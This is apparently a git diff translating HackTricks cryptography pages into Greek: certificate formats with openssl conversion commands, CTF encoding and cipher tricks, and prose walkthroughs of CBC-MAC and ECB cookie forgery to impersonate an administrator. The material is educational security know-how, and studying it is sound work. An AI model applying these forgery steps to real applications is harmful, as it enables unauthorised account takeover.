guidance on converting between them. +## **Μορφές** -## **Formats** +### **Μορφή PEM** -### **PEM Format** +- Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά. +- Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII. +- Κοινές επεκτάσεις: .cer, .crt, .pem, .key. +- Χρησιμοποιείται κυρίως από Apache και παρόμοιους διακομιστές. -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **Μορφή DER** -### **DER Format** +- Μια δυαδική μορφή πιστοποιητικών. +- Λείπουν οι δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται σε αρχεία PEM. +- Κοινές επεκτάσεις: .cer, .der. +- Συχνά χρησιμοποιείται με πλατφόρμες Java. -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **Μορφή P7B/PKCS#7** -### **P7B/PKCS#7 Format** +- Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c. +- Περιέχει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί. +- Υποστηρίζεται από Microsoft Windows και Java Tomcat. -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **Μορφή PFX/P12/PKCS#12** -### **PFX/P12/PKCS#12 Format** +- Μια δυαδική μορφή που περιλαμβάνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο. +- Επεκτάσεις: .pfx, .p12. +- Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών. -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **Μετατροπή Μορφών** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**Οι μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα: +- **x509 σε PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM σε DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER σε PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM σε P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 σε PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX σε PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX σε PKCS#8** περιλαμβάνει δύο βήματα: +1. Μετατροπή PFX σε PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. Μετατροπή PEM σε PKCS8 ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B σε PFX** απαιτεί επίσης δύο εντολές: +1. Μετατροπή P7B σε CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +--- {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..aac64b4ff 100644 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Αν το **cookie** είναι **μόνο** το **όνομα χρήστη** (ή το πρώτο μέρος του cookie είναι το όνομα χρήστη) και θέλεις να προσποιηθείς το όνομα χρήστη "**admin**". Τότε, μπορείς να δημιουργήσεις το όνομα χρήστη **"bdmin"** και να **bruteforce** το **πρώτο byte** του cookie. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Cipher block chaining message authentication code** (**CBC-MAC**) είναι μια μέθοδος που χρησιμοποιείται στην κρυπτογραφία. Λειτουργεί παίρνοντας ένα μήνυμα και κρυπτογραφώντας το μπλοκ προς μπλοκ, όπου η κρυπτογράφηση κάθε μπλοκ συνδέεται με το προηγούμενο. Αυτή η διαδικασία δημιουργεί μια **αλυσίδα μπλοκ**, διασφαλίζοντας ότι η αλλαγή ακόμη και ενός μόνο bit του αρχικού μηνύματος θα οδηγήσει σε μια απρόβλεπτη αλλαγή στο τελευταίο μπλοκ των κρυπτογραφημένων δεδομένων. Για να γίνει ή να αντιστραφεί μια τέτοια αλλαγή, απαιτείται το κλειδί κρυπτογράφησης, διασφαλίζοντας την ασφάλεια. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Για να υπολογίσεις το CBC-MAC του μηνύματος m, κρυπτογραφείς το m σε λειτουργία CBC με μηδενικό αρχικοποιητικό διανύσμα και κρατάς το τελευταίο μπλοκ. Η παρακάτω εικόνα σκιαγραφεί τον υπολογισμό του CBC-MAC ενός μηνύματος που αποτελείται από μπλοκ![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) χρησιμοποιώντας ένα μυστικό κλειδί k και έναν μπλοκ κρυπτογράφο E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() # Vulnerability -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Με το CBC-MAC συνήθως το **IV που χρησιμοποιείται είναι 0**.\ +Αυτό είναι ένα πρόβλημα γιατί 2 γνωστά μηνύματα (`m1` και `m2`) ανεξάρτητα θα δημιουργήσουν 2 υπογραφές (`s1` και `s2`). Έτσι: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Τότε ένα μήνυμα που αποτελείται από τα m1 και m2 που συνδυάζονται (m3) θα δημιουργήσει 2 υπογραφές (s31 και s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Το οποίο είναι δυνατό να υπολογιστεί χωρίς να γνωρίζεις το κλειδί της κρυπτογράφησης.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Φαντάσου ότι κρυπτογραφείς το όνομα **Administrator** σε **8bytes** μπλοκ: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Μπορείς να δημιουργήσεις ένα όνομα χρήστη που ονομάζεται **Administ** (m1) και να ανακτήσεις την υπογραφή (s1).\ +Τότε, μπορείς να δημιουργήσεις ένα όνομα χρήστη που είναι το αποτέλεσμα του `rator\00\00\00 XOR s1`. Αυτό θα δημιουργήσει `E(m2 XOR s1 XOR 0)` που είναι s32.\ +Τώρα, μπορείς να χρησιμοποιήσεις το s32 ως την υπογραφή του πλήρους ονόματος **Administrator**. ### Summary -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Πάρε την υπογραφή του ονόματος χρήστη **Administ** (m1) που είναι s1 +2. Πάρε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR s1 XOR 0** που είναι s32**.** +3. Ρύθμισε το cookie σε s32 και θα είναι ένα έγκυρο cookie για τον χρήστη **Administrator**. # Attack Controlling IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Αν μπορείς να ελέγξεις το χρησιμοποιούμενο IV, η επίθεση μπορεί να είναι πολύ εύκολη.\ +Αν το cookie είναι απλώς το κρυπτογραφημένο όνομα χρήστη, για να προσποιηθείς τον χρήστη "**administrator**" μπορείς να δημιουργήσεις τον χρήστη "**Administrator**" και θα πάρεις το cookie του.\ +Τώρα, αν μπορείς να ελέγξεις το IV, μπορείς να αλλάξεις το πρώτο Byte του IV έτσι ώστε **IV\[0] XOR "A" == IV'\[0] XOR "a"** και να αναγεννήσεις το cookie για τον χρήστη **Administrator.** Αυτό το cookie θα είναι έγκυρο για **να προσποιηθείς** τον χρήστη **administrator** με το αρχικό **IV**. ## References -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Περισσότερες πληροφορίες στο [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index bb2b5f049..014c61ca1 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -25,7 +25,7 @@ ## Encoders -Most of encoded data can be decoded with these 2 ressources: +Οι περισσότερες από τις κωδικοποιημένες δεδομένες μπορούν να αποκωδικοποιηθούν με αυτούς τους 2 πόρους: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - Πολύ καλό! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Ελέγξτε όλες αυτές τις βάσεις με: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - - [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -### Morse - +### Μορς ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - - [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Πληκτρολόγιο Dvorak ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Γράμματα στην αριθμητική τους αξία ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Γράμμα σε αριθμό `(ax+b)%26` (_a_ και _b_ είναι τα κλειδιά και _x_ είναι το γράμμα) και το αποτέλεσμα πίσω σε γράμμα ``` krodfdudfrod ``` - ### SMS Code -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +**Multitap** [αντικαθιστά ένα γράμμα](https://www.dcode.fr/word-letter-change) με επαναλαμβανόμενους ψηφίους που καθορίζονται από τον αντίστοιχο κωδικό πλήκτρου σε ένα κινητό [πληκτρολόγιο τηλεφώνου](https://www.dcode.fr/phone-keypad-cipher) (Αυτή η λειτουργία χρησιμοποιείται κατά την αποστολή SMS).\ +Για παράδειγμα: 2=A, 22=B, 222=C, 3=D...\ +Μπορείτε να αναγνωρίσετε αυτόν τον κωδικό γιατί θα δείτε\*\* αρκετούς αριθμούς επαναλαμβανόμενους\*\*. -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Μπορείτε να αποκωδικοποιήσετε αυτόν τον κωδικό στο: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code -Substitude each letter for 4 As or Bs (or 1s and 0s) - +Αντικαταστήστε κάθε γράμμα με 4 Α ή Β (ή 1s και 0s) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) -## Compression +## Συμπίεση -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** και **Raw Inflate** (μπορείτε να βρείτε και τα δύο στο Cyberchef) μπορούν να συμπιέσουν και να αποσυμπιέσουν δεδομένα χωρίς κεφαλίδες. -## Easy Crypto +## Εύκολη Κρυπτογραφία -### XOR - Autosolver +### XOR - Αυτόματη Λύση - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) ### Bifid -A keywork is needed - +Απαιτείται μια λέξη-κλειδί ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Απαιτείται ένα κλειδί ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Ισχυρή Κρυπτογραφία ### Fernet -2 base64 strings (token and key) - +2 base64 συμβολοσειρές (token και key) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) ### Samir Secret Sharing -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - +Ένα μυστικό χωρίζεται σε X μέρη και για να το ανακτήσεις χρειάζεσαι Y μέρη (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) ### OpenSSL brute-force @@ -292,7 +262,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Εργαλεία - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md index a09798b1e..ebfdc27a4 100644 --- a/src/cryptography/electronic-code-book-ecb.md +++ b/src/cryptography/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Ηλεκτρονικό Βιβλίο Κωδικών - συμμετρικό σχήμα κρυπτογράφησης που **αντικαθιστά κάθε μπλοκ του καθαρού κειμένου** με το **μπλοκ του κρυπτογραφημένου κειμένου**. Είναι το **απλούστερο** σχήμα κρυπτογράφησης. Η κύρια ιδέα είναι να **χωρίσετε** το καθαρό κείμενο σε **μπλοκ N bit** (εξαρτάται από το μέγεθος του μπλοκ των εισερχόμενων δεδομένων, αλγόριθμο κρυπτογράφησης) και στη συνέχεια να κρυπτογραφήσετε (αποκρυπτογραφήσετε) κάθε μπλοκ του καθαρού κειμένου χρησιμοποιώντας το μόνο κλειδί. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +Η χρήση του ECB έχει πολλές επιπτώσεις στην ασφάλεια: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να αφαιρεθούν** +- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να μετακινηθούν** -# Detection of the vulnerability +# Ανίχνευση της ευπάθειας -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Φανταστείτε ότι συνδέεστε σε μια εφαρμογή πολλές φορές και **πάντα λαμβάνετε το ίδιο cookie**. Αυτό συμβαίνει επειδή το cookie της εφαρμογής είναι **`|`**.\ +Στη συνέχεια, δημιουργείτε δύο νέους χρήστες, και οι δύο με το **ίδιο μακρύ κωδικό πρόσβασης** και **σχεδόν** το **ίδιο** **όνομα χρήστη**.\ +Ανακαλύπτετε ότι τα **μπλοκ των 8B** όπου οι **πληροφορίες και των δύο χρηστών** είναι οι ίδιες είναι **ίσα**. Στη συνέχεια, φαντάζεστε ότι αυτό μπορεί να συμβαίνει επειδή **χρησιμοποιείται το ECB**. +Όπως στο παρακάτω παράδειγμα. Παρατηρήστε πώς αυτά τα **2 αποκωδικοποιημένα cookies** έχουν πολλές φορές το μπλοκ **`\x23U\xE45K\xCB\x21\xC8`**. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Αυτό συμβαίνει επειδή το **όνομα χρήστη και ο κωδικός πρόσβασης αυτών των cookies περιείχαν πολλές φορές το γράμμα "a"** (για παράδειγμα). Τα **μπλοκ** που είναι **διαφορετικά** είναι μπλοκ που περιείχαν **τουλάχιστον 1 διαφορετικό χαρακτήρα** (ίσως το διαχωριστικό "|" ή κάποια απαραίτητη διαφορά στο όνομα χρήστη). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Τώρα, ο επιτιθέμενος χρειάζεται απλώς να ανακαλύψει αν η μορφή είναι `` ή ``. Για να το κάνει αυτό, μπορεί απλώς να **δημιουργήσει αρκετά ονόματα χρήστη** με **παρόμοια και μακριά ονόματα χρήστη και κωδικούς πρόσβασης μέχρι να βρει τη μορφή και το μήκος του διαχωριστικού:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Μήκος ονόματος χρήστη: | Μήκος κωδικού πρόσβασης: | Μήκος ονόματος χρήστη + Κωδικού πρόσβασης: | Μήκος cookie (μετά την αποκωδικοποίηση): | +| ----------------------- | ------------------------ | -------------------------------------------- | 